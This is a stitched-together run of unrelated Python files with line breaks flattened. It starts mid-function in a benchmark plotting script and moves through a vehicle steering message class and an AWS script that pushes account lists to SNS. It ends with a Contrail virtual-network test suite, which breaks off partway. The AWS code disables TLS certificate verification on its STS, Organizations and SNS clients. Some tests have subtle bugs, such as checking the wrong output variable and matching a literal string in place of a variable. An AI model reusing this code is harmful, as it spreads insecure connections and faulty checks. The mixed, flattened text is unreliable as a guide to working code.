generate_plot( filename, output, plot_style=".", has_logy=False, exclude_name=None): csv = pd.read_csv(filename, header=None) csv.columns = ["name", "nodes", "avg_case", "worst_case"] avg_time = csv.pivot(index="nodes", columns="name", values="avg_case") if exclude_name: avg_time = avg_time.drop(exclude_name, axis=1) ax = avg_time.plot(style=plot_style, logy=has_logy) ax.set_ylabel("ms") fig = ax.get_figure() fig.savefig(output) if __name__ == "__main__": clean_directory("./images") # Average case generate_plot("./csv/insert-avg.csv", "./images/insert-avg.png", ".", False) generate_plot( "./csv/insert-avg.csv", "./images/insert-avg-log.png", ".", True) generate_plot( "./csv/search-avg.csv", "./images/search-avg.png", ".-", False) generate_plot( "./csv/search-avg.csv", "./images/search-avg-log.png", ".-", True) # Worst case generate_plot( "./csv/insert-worst.csv", "./images/insert-worst.png", ".", False) generate_plot( "./csv/insert-worst.csv", "./images/insert-worst-log.png", ".", True) generate_plot( "./csv/search-worst.csv", "./images/search-worst.png", ".-", False) generate_plot( "./csv/search-worst.csv", "./images/search-worst-log.png", ".-", True) # Generate Graphs excluding BST generate_plot( "./csv/insert-worst.csv", "./images/insert-worst-filtered.png", ".", False, ["BST"]) generate_plot( "./csv/insert-worst.csv", "./images/insert-worst-log-filtered.png", ".", True, ["BST"]) generate_plot( "./csv/search-worst.csv", "./images/search-worst-filtered.png", ".-", False, ["BST"]) generate_plot( "./csv/search-worst.csv", "./images/search-worst-log-filtered.png", ".-", True, ["BST"])from .baseMsg import BaseMessage class UnitWhldCmdMsg(BaseMessage): """ The wheeled unit command message. """ TOPIC_ROOT = 'units/wheeled' STEERING_KEY = 'steering' THROTTLE_KEY = 'throttle' def __init__(self, unit: str, payload=None) -> None: """ Constructor. Params: unit: The unit ID. payload: The message payload. """ super().__init__(f"{self.TOPIC_ROOT}/{unit}/steering", unit, payload=payload) def setSteering(self, modifier: float) -> None: """ Set the steering modifier. Params: modifier: The new modifier. """ if self._payload is None: self._payload = {} self._payload[self.STEERING_KEY] = modifier def getSteering(self) -> float: """ Get the steering mofifier. Return: The steering mofifier. """ return self._payload[self.STEERING_KEY] def setThrottle(self, modifier: float) -> None: """ Set the throttle modifier. Params: modifier: The new modifier. """ if self._payload is None: self._payload = {} self._payload[self.THROTTLE_KEY] = modifier def getThrottle(self) -> float: """ Get the throttle modifier. Return: The throttle modifier. """ return self._payload[self.THROTTLE_KEY] # Copyright 2017 Insurance Australia Group Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ This python module is for triggering citizen stacks to be updated via SNS """ import os import json import sys import boto3 from configuration.initialise_config import watchmen_vars CANARY_ACCOUNTS = watchmen_vars.CanaryAccounts if watchmen_vars.UseAWSOrganisations: AWS_MASTER_ACCOUNT_ROLE_ARN = watchmen_vars.MasterAccountRoleArn else: AWS_MASTER_ACCOUNT_ROLE_ARN = "" PREFIX = os.environ['prefix'] if "prefix" in os.environ else "" SNS_ARN = os.environ['SNS_ARN'] if "SNS_ARN" in os.environ else "" CITIZEN_S3_BUCKET = os.environ['CITIZEN_S3_BUCKET'] if "CITIZEN_S3_BUCKET" in os.environ else "" def get_canary_accounts(): """ Get canary accounts """ return set(CANARY_ACCOUNTS) def get_other_aws_accounts(): """ Get all other accounts """ return (get_csv_accounts() | get_organizations_accounts()) - get_canary_accounts() def get_csv_accounts(): """ Get unique accounts from csv """ with open("./accounts/aws_accounts.csv") as filer: lines = filer.readlines() return {line.split(",")[0] for line in lines} def get_organizations_accounts(): """ Get unique accounts from organizations Was getting endpoint error so explicitly define region and end point according to http://docs.aws.amazon.com/general/latest/gr/rande.html?shortFooter=true """ org_accounts = set() if AWS_MASTER_ACCOUNT_ROLE_ARN: sts = boto3.client( "sts", region_name='ap-southeast-2', endpoint_url='https://sts.ap-southeast-2.amazonaws.com', verify=False ) paginator = boto3.client( "organizations", region_name='us-east-1', endpoint_url='https://organizations.us-east-1.amazonaws.com', verify=False, **get_assumed_creds(sts, AWS_MASTER_ACCOUNT_ROLE_ARN) ).get_paginator("list_accounts") for page in paginator.paginate(): for account in page['Accounts']: org_accounts.add(str(account[u'Id'])) return org_accounts def get_assumed_creds(sts, arn): """ Gets assume role credentials """ if arn: credentials = sts.assume_role(RoleArn=arn, RoleSessionName="AssumeRoleSession1") return { "aws_access_key_id": credentials["Credentials"]['AccessKeyId'], "aws_secret_access_key": credentials["Credentials"]['SecretAccessKey'], "aws_session_token": credentials["Credentials"]['SessionToken'] } else: return {} def get_sns_message(aws_accounts): """ Construct SNS message """ aws_accounts = str(aws_accounts).replace("['", "").replace("']", "").replace("', '", " ") # Construct the SNS Message for aws_accounts data = {} data['prefix'] = PREFIX data['bucket'] = CITIZEN_S3_BUCKET data['accounts'] = aws_accounts return json.dumps(data) def get_account_type(): """ Read module input and set account type """ account_type = "" if len(sys.argv) >= 2: account_type = sys.argv[1] return account_type def main(): """ Main method """ account_type = get_account_type() if account_type == "CanaryAccounts": # Trigger Update Citizen stack for CanaryAccounts defined in 'configuration/config.yml' file aws_accounts = list(get_canary_accounts()) elif account_type == "ProductionAccounts": # Trigger Update Citizen stack for ProductionAccounts from 'AWS Org' and 'aws_accounts.csv' (excluding canary accounts) aws_accounts = list(get_other_aws_accounts()) else: raise Exception("Account type '{}' not found".format(account_type)) sns_message = get_sns_message(aws_accounts) print "SNS Message for {}: {}".format(account_type, sns_message) response = boto3.client('sns', verify=False).publish(TargetArn=SNS_ARN, Message=sns_message) print "Published to SNS Topic. Response: {}".format(response) if __name__ == "__main__": main() 0 # Need to import path to test/fixtures and test/scripts/ # Ex : export PYTHONPATH='$PATH:/root/test/fixtures/:/root/test/scripts/' # # To run tests, you can do 'python -m testtools.run tests'. To run specific tests, # You can do 'python -m testtools.run -l tests' # Set the env variable PARAMS_FILE to point to your ini file. Else it will try to pick params.ini in PWD # import os import signal from novaclient import client as mynovaclient from novaclient import exceptions as novaException import unittest import fixtures import testtools import traceback import traffic_tests from contrail_test_init import * from vn_test import * from quantum_test import * from vnc_api_test import * from nova_test import * from vm_test import * from connections import ContrailConnections from floating_ip import * from control_node import * from policy_test import * from multiple_vn_vm_test import * from contrail_fixtures import * from tcutils.wrappers import preposttest_wrapper sys.path.append(os.path.realpath('tcutils/pkgs/Traffic')) from traffic.core.stream import Stream from traffic.core.profile import create, ContinuousProfile from traffic.core.helpers import Host from traffic.core.helpers import Sender, Receiver from fabric.context_managers import settings from fabric.api import run from tcutils.commands import * #from analytics_tests import * class TestVMVN(testtools.TestCase, fixtures.TestWithFixtures): # @classmethod def setUp(self): super(TestVMVN, self).setUp() if 'PARAMS_FILE' in os.environ: self.ini_file = os.environ.get('PARAMS_FILE') else: self.ini_file = 'params.ini' self.inputs = self.useFixture(ContrailTestInit(self.ini_file)) self.connections = ContrailConnections(self.inputs) self.quantum_fixture = self.connections.quantum_fixture self.nova_fixture = self.connections.nova_fixture self.vnc_lib = self.connections.vnc_lib self.logger = self.inputs.logger self.agent_inspect = self.connections.agent_inspect self.cn_inspect = self.connections.cn_inspect self.analytics_obj = self.connections.analytics_obj # end setUpClass def cleanUp(self): super(TestVMVN, self).cleanUp() # end cleanUp def runTest(self): pass # end runTest @preposttest_wrapper def test_vn_add_delete(self): '''Test to validate VN creation and deletion. ''' vn_obj = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs, subnets=['172.16.31.10/24'])) assert vn_obj.verify_on_setup() assert vn_obj return True # end @preposttest_wrapper def test_duplicate_vn_add(self): '''Test to validate adding a Duplicate VN creation and deletion. ''' vn_obj1 = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs, subnets=['172.16.31.10/24'])) assert vn_obj1.verify_on_setup() assert vn_obj1 vn_obj2 = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs, subnets=['172.16.31.10/24'])) assert vn_obj2.verify_on_setup() assert vn_obj2, 'Duplicate VN cannot be created' if (vn_obj1.vn_id == vn_obj2.vn_id): self.logger.info('Same obj created') else: self.logger.error('Different objs created.') return True # end test_duplicate_vn_add @preposttest_wrapper def test_vn_name_with_spl_characters(self): '''Test to validate VN name with special characters is allowed. ''' vn1_obj = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn.1', inputs=self.inputs, subnets=['172.16.31.10/29'])) assert vn1_obj.verify_on_setup() assert vn1_obj vn2_obj = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn,2', inputs=self.inputs, subnets=['192.168.127.12/30'])) assert vn2_obj.verify_on_setup() assert vn2_obj vn3_obj = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn&3', inputs=self.inputs, subnets=['172.16.31.10/29'])) self.logger.info( "VN names with '&' are allowed via API, but not through Openstack ==> Bug 1023") assert not vn3_obj.verify_on_setup() if vn3_obj: self.logger.error('Bug 1023 needs to be fixed') vn4_obj = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn_4', inputs=self.inputs, subnets=['172.16.31.10/31'])) assert vn4_obj.verify_on_setup() assert vn4_obj return True # end test_vn_name_with_spl_characters @preposttest_wrapper def test_vn_vm_no_ip(self): '''Test to check that VMs launched in a VN with no subnet, will go to error state. ''' vn_obj = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs)) #assert vn_obj.verify_on_setup() assert vn_obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj.obj, vm_name='vm222', project_name=self.inputs.project_name)) self.logger.info('The VM should not get an IP') assert not vm1_fixture.verify_on_setup() return True # end test_vn_vm_no_ip @preposttest_wrapper def test_ipam_add_delete(self): '''Test to validate IPAM creation, association of a VN and creating VMs in the VN. Ping b/w the VMs should be successful. ''' project_obj = self.useFixture( ProjectFixture(vnc_lib_h=self.vnc_lib, connections=self.connections)) ipam_obj = self.useFixture( IPAMFixture(project_obj=project_obj, name='my-ipam')) assert ipam_obj.verify_on_setup() vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs, subnets=['172.16.31.10/24'], ipam_fq_name=ipam_obj.fq_name)) assert vn_fixture.verify_on_setup() vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm1')) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm2')) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) return True # end test_ipam_add_delete @preposttest_wrapper def test_ipam_persistence_across_restart_reboots(self): '''Test to validate IPAM persistence across restarts and reboots of nodes. ''' project_obj = self.useFixture( ProjectFixture(vnc_lib_h=self.vnc_lib, connections=self.connections)) ipam_obj = self.useFixture( IPAMFixture(project_obj=project_obj, name='my-ipam')) assert ipam_obj.verify_on_setup() vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs, subnets=['172.16.31.10/24'], ipam_fq_name=ipam_obj.fq_name)) assert vn_fixture.verify_on_setup() vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm1')) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm2')) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) self.logger.info('Will restart the services now') for compute_ip in self.inputs.compute_ips: self.inputs.restart_service('contrail-vrouter', [compute_ip]) for bgp_ip in self.inputs.bgp_ips: self.inputs.restart_service('contrail-control', [bgp_ip]) sleep(30) self.logger.info( 'Will check if the ipam persists and ping b/w VMs is still successful') assert ipam_obj assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) # reboot the compute node now and verify the ipam persistence # for compute_ip in self.inputs.compute_ips: # self.inputs.reboot(compute_ip) # sleep(120) # assert ipam_obj # reboot the control nodes now and verify the ipam persistence # for bgp_ip in self.inputs.bgp_ips: # self.inputs.reboot(bgp_ip) # sleep(120) # assert ipam_obj # reboot the cfgm node now and verify the ipam persistence # self.inputs.reboot(self.inputs.cfgm_ip) # sleep(120) # self.logger.info('Will check if the ipam persists and ping b/w VMs is still successful') # assert ipam_obj # assert vm1_fixture.ping_to_ip( vm2_fixture.vm_ip ) return True # end test_ipam_persistence_across restart_reboots @preposttest_wrapper def test_release_ipam(self): '''Test to validate that IPAM cannot be deleted until the VM associated with it is deleted. ''' project_obj = self.useFixture( ProjectFixture(vnc_lib_h=self.vnc_lib, connections=self.connections)) ipam_obj = self.useFixture( IPAMFixture(project_obj=project_obj, name='my-ipam')) assert ipam_obj.verify_on_setup() vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs, subnets=['172.16.31.10/24'], ipam_fq_name=ipam_obj.fq_name)) assert vn_fixture.verify_on_setup() try: self.vnc_lib.network_ipam_delete(vn_fixture.ipam_fq_name) except RefsExistError as e: self.logger.info( 'RefsExistError:Check passed that the IPAM cannot be released when the VN is associated to it.') vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm1')) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm2')) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) try: self.vnc_lib.network_ipam_delete(vn_fixture.ipam_fq_name) except RefsExistError as e: self.logger.info( 'RefsExistError:Check passed that the IPAM cannot be released when the VN is associated to it, which has VMs on it.') return True # end test_release_ipam @preposttest_wrapper def test_shutdown_vm(self): ''' Test to validate that VN is unaffected after the VMs in it are shutdown. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() cmd_to_shutdown_vm = ['shutdown -h now'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_shutdown_vm, as_sudo=True) assert vn_fixture.verify_on_setup() return True # end test_shutdown_vm @preposttest_wrapper def test_disassociate_vn_from_vm(self): ''' Test to validate that disassociating a VN from a VM fails. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() try: self.logger.info(' Will try deleting the VN now') self.vnc_lib.virtual_network_delete(id=vn_obj['network']['id']) assert vn_fixture.verify_on_setup() assert vm1_fixture.verify_on_setup() except RefsExistError as e: self.logger.info( 'RefsExistError:Check passed that the VN cannot be disassociated/deleted when the VM exists') return True # end test_disassociate_vn_from_vm @preposttest_wrapper def test_vm_gw_tests(self): ''' Test to validate gateway IP assignments the VM interface. ''' vm1_name = 'vm_mine' vm2_name = 'vm_yours' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name)) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm2_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) self.logger.info( 'Adding a static GW and checking that ping is still successful after the change') cmd_to_add_gw = ['route add default gw 172.16.58.3'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_gw) assert vm1_fixture.verify_on_setup() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) self.logger.info( 'Adding a static GW, pointing to the metadata IP and checking that ping succeeds') i = 'route add default gw %s' % vm1_fixture.local_ip cmd_to_change_gw = [i] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_change_gw) assert vm1_fixture.verify_on_setup() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) return True # end test_vm_static_ip_tests @preposttest_wrapper def test_vm_static_ip_tests(self): ''' Test to validate Static IP to the VM interface. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() self.logger.info('Adding the same address as a Static IP') cmd = 'ifconfig eth0 %s netmask 255.255.255.0' % vm1_fixture.vm_ip cmd_to_add_static_ip = [cmd] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_static_ip, as_sudo=True) assert vm1_fixture.verify_on_setup() result = True self.logger.info('Adding a different address as a Static IP') cmd_to_add_file = ['touch batchfile'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_file) self.logger.info( 'WIll add a different address and revert back to the original IP') cmd_to_add_cmd_to_file = [ "echo 'ifconfig; route; sudo ifconfig eth0 10.10.10.10 netmask 255.255.255.0; ifconfig; route; sudo ifconfig eth0 172.16.58.3 netmask 255.255.255.0; ifconfig; route; sudo ifdown eth0; sleep 5; sudo ifup eth0; ifconfig; route' > batchfile"] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_cmd_to_file) cmd_to_exec_file = ['sh batchfile | tee > out.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_exec_file) i = 'cat out.log' cmd_to_view_output = ['cat out.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_view_output) output = vm1_fixture.return_output_cmd_dict[i] print output if '10.10.10.10' not in output: result = False assert vm1_fixture.verify_on_setup() return result # end test_vm_static_ip_tests @preposttest_wrapper def test_vm_file_trf_tftp_tests(self): ''' Description: Test to validate File Transfer using tftp between VMs. Files of different sizes. Test steps: 1. Creating vm's - vm1 and vm2 and a Vn - vn222 2. Transfer file from vm1 to vm2 with diferrent file sizes using tftp 3. file sizes - 1000,1101,1202,1303,1373, 1374,2210, 2845, 3000, 10000, 10000003 4. verify files present in vm2 match with the size of the file sent. Pass criteria: File in vm2 should match with the transferred file size from vm1 Maintainer : ''' vm1_name = 'vm1' vm2_name = 'vm2' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] file_sizes = ['1000', '1101', '1202', '1303', '1373', '1374', '2210', '2845', '3000', '10000', '10000003'] file = 'testfile' y = 'ls -lrt /var/lib/tftpboot/%s' % file cmd_to_check_file = [y] z = 'ls -lrt /var/lib/tftpboot/%s' % file cmd_to_check_tftpboot_file = [z] x = 'sync' cmd_to_sync = [x] create_result = True transfer_result = True vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vm1_name, project_name=self.inputs.project_name)) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name=vm2_name, project_name=self.inputs.project_name)) assert vm1_fixture.wait_till_vm_is_up() assert vm2_fixture.wait_till_vm_is_up() # ssh and tftp taking sometime to be up and runnning for size in file_sizes: self.logger.info("-" * 80) self.logger.info("FILE SIZE = %sB" % size) self.logger.info("-" * 80) self.logger.info('Transferring the file from %s to %s using tftp' % (vm1_fixture.vm_name, vm2_fixture.vm_name)) vm1_fixture.check_file_transfer( dest_vm_fixture=vm2_fixture, mode='tftp', size=size) self.logger.info('Checking if the file exists on %s' % vm2_fixture.vm_name) vm2_fixture.run_cmd_on_vm(cmds=cmd_to_check_file) output = vm2_fixture.return_output_cmd_dict[y] print output if size in output: self.logger.info( 'File of size %sB transferred via tftp properly' % size) else: transfer_result = False self.logger.error( 'File of size %sB not transferred via tftp ' % size) if not transfer_result: self.logger.error('Tftp transfer failed, lets verify basic things') assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() assert transfer_result return transfer_result # end test_vm_file_trf_tftp_tests scp_test_starup_wait = 60 # seconds scp_test_file_sizes = ['1000', '1101', '1202', '1303', '1373', '1374', '2210', '2845', '3000', '10000', '10000003'] @preposttest_wrapper def test_vm_file_trf_scp_tests(self): ''' Description: Test to validate File Transfer using scp between VMs. Files of different sizes. Test steps: 1. Creating vm's - vm1 and vm2 and a Vn - vn222 2. Transfer file from vm1 to vm2 with diferrent file sizes using scp 3. file sizes - 1000,1101,1202,1303,1373, 1374,2210, 2845, 3000, 10000, 10000003 4. verify files present in vm2 match with the size of the file sent. Pass criteria: File in vm2 should match with the transferred file size from vm1 Maintainer : .net ''' vm1_name = 'vm1' vm2_name = 'vm2' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] file = 'somefile' y = 'ls -lrt %s' % file cmd_to_check_file = [y] x = 'sync' cmd_to_sync = [x] create_result = True transfer_result = True vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.wait_till_vm_is_up() vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm2_name, project_name=self.inputs.project_name)) assert vm2_fixture.wait_till_vm_is_up() # ssh and tftp taking sometime to be up and runnning #sleep(self.scp_test_starup_wait) vm1_fixture.put_pub_key_to_vm() vm2_fixture.put_pub_key_to_vm() for size in self.scp_test_file_sizes: self.logger.info("-" * 80) self.logger.info("FILE SIZE = %sB" % size) self.logger.info("-" * 80) self.logger.info('Transferring the file from %s to %s using scp' % (vm1_fixture.vm_name, vm2_fixture.vm_name)) file_transfer_result = vm1_fixture.check_file_transfer(vm2_fixture, size=size) if file_transfer_result: self.logger.info( 'File of size %sB transferred via scp properly' % size) else: transfer_result = False self.logger.error( 'File of size %sB not transferred via scp ' % size) break assert transfer_result, 'File not transferred via scp ' return transfer_result # end test_vm_file_trf_scp_tests @preposttest_wrapper def test_vm_intf_tests(self): ''' Test to validate Loopback and eth0 intfs up/down events. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() self.logger.info('Shutting down Loopback intf') cmd_to_intf_down = ['ifdown lo '] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_intf_down, as_sudo=True) assert vm1_fixture.verify_on_setup() self.logger.info('Bringing up Loopback intf') cmd_to_intf_up = ['ifup lo'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_intf_up, as_sudo=True) assert vm1_fixture.verify_on_setup() cmd_to_create_file = ['touch batchfile'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_create_file) cmd_to_add_cmd_to_file = [ "echo 'ifconfig; route; sudo ifdown eth0; ifconfig; route; sleep 10; sudo ifup eth0; ifconfig; route ' > batchfile"] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_add_cmd_to_file) cmd_to_exec_file = ['sh batchfile | tee > out.log'] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_exec_file) assert vm1_fixture.verify_on_setup() return True # end test_vm_intf_tests @preposttest_wrapper def test_vm_arp(self): ''' Test to validate that the fool-proof way is to not answer for arp request from the guest for the address the tap i/f is "configured" for. ''' vm1_name = 'vm_mine' vm2_name = 'vm_yours' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, image_name='ubuntu-traffic', vm_name=vm1_name, project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, image_name='ubuntu-traffic', vm_name=vm2_name, project_name=self.inputs.project_name)) assert vm2_fixture.verify_on_setup() i = 'arping -c 10 %s' % vm1_fixture.vm_ip cmd_to_output = [i] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_output, as_sudo=True) output = vm1_fixture.return_output_cmd_dict[i] print output result = True if not '100%' in output: self.logger.error( 'Arping to the VMs own address should have failed') result = False else: self.logger.info('Arping to the VMs own address fails') j = 'arping -c 10 %s' % vm2_fixture.vm_ip cmd_to_output = [j] vm1_fixture.run_cmd_on_vm(cmds=cmd_to_output, as_sudo=True) output1 = vm1_fixture.return_output_cmd_dict[j] print output1 if not '0%' in output: self.logger.error( 'Arping to the other VMs address should have passed') result = False else: self.logger.info('Arping to the other VMs address passes') assert result, "ARPing Failure" return True # end test_vm_arp @preposttest_wrapper def test_host_route_add_delete(self): ''' Test to validate that host_route is sent to the VM via DHCP. ''' vm1_name = 'vm_mine' vm2_name = 'vm_yours' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] host_rt = ['1.1.1.1/32', '0.0.0.0/0'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_fixture.add_host_routes(host_rt) vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name, flavor='contrail_flavor_small', image_name='ubuntu-traffic')) assert vm1_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() route_cmd = 'route -n' vm1_fixture.run_cmd_on_vm(cmds=[route_cmd], as_sudo=True) output = vm1_fixture.return_output_cmd_dict[route_cmd] self.logger.info('%s' % output) for rt in host_rt: if (rt.split('/')[0]) in output: self.logger.info('Route to %s found in the route-table' % rt) result = True else: self.logger.info( 'Route to %s not found in the route-table' % rt) result = False assert result, 'No Host-Route in the route-table' vn_fixture.del_host_routes(host_rt) vn_obj = vn_fixture.obj vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm2_name, project_name=self.inputs.project_name, flavor='contrail_flavor_small', image_name='ubuntu-traffic')) assert vm2_fixture.verify_on_setup() vm2_fixture.wait_till_vm_is_up() new_route_cmd = 'route -n' vm2_fixture.run_cmd_on_vm(cmds=[new_route_cmd], as_sudo=True) new_output = vm2_fixture.return_output_cmd_dict[new_route_cmd] self.logger.info('%s' % new_output) for rt in host_rt: route_ip = rt.split('/')[0] if "0.0.0.0" in rt: self.logger.info('Skip verifying default route') continue if re.search(r'\broute_ip\b', new_output): self.logger.info('Route to %s found in the route-table' % rt) new_result = False else: self.logger.info( 'Route to %s not found in the route-table' % rt) new_result = True assert new_result, 'Host-Route still found in the route-table' return True # end test_host_route_add_delete @preposttest_wrapper def test_vm_add_delete(self): ''' Test to validate that a VM creation and deletion passes. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name, flavor='contrail_flavor_small', image_name='ubuntu-traffic')) assert vm1_fixture.verify_on_setup() return True # end 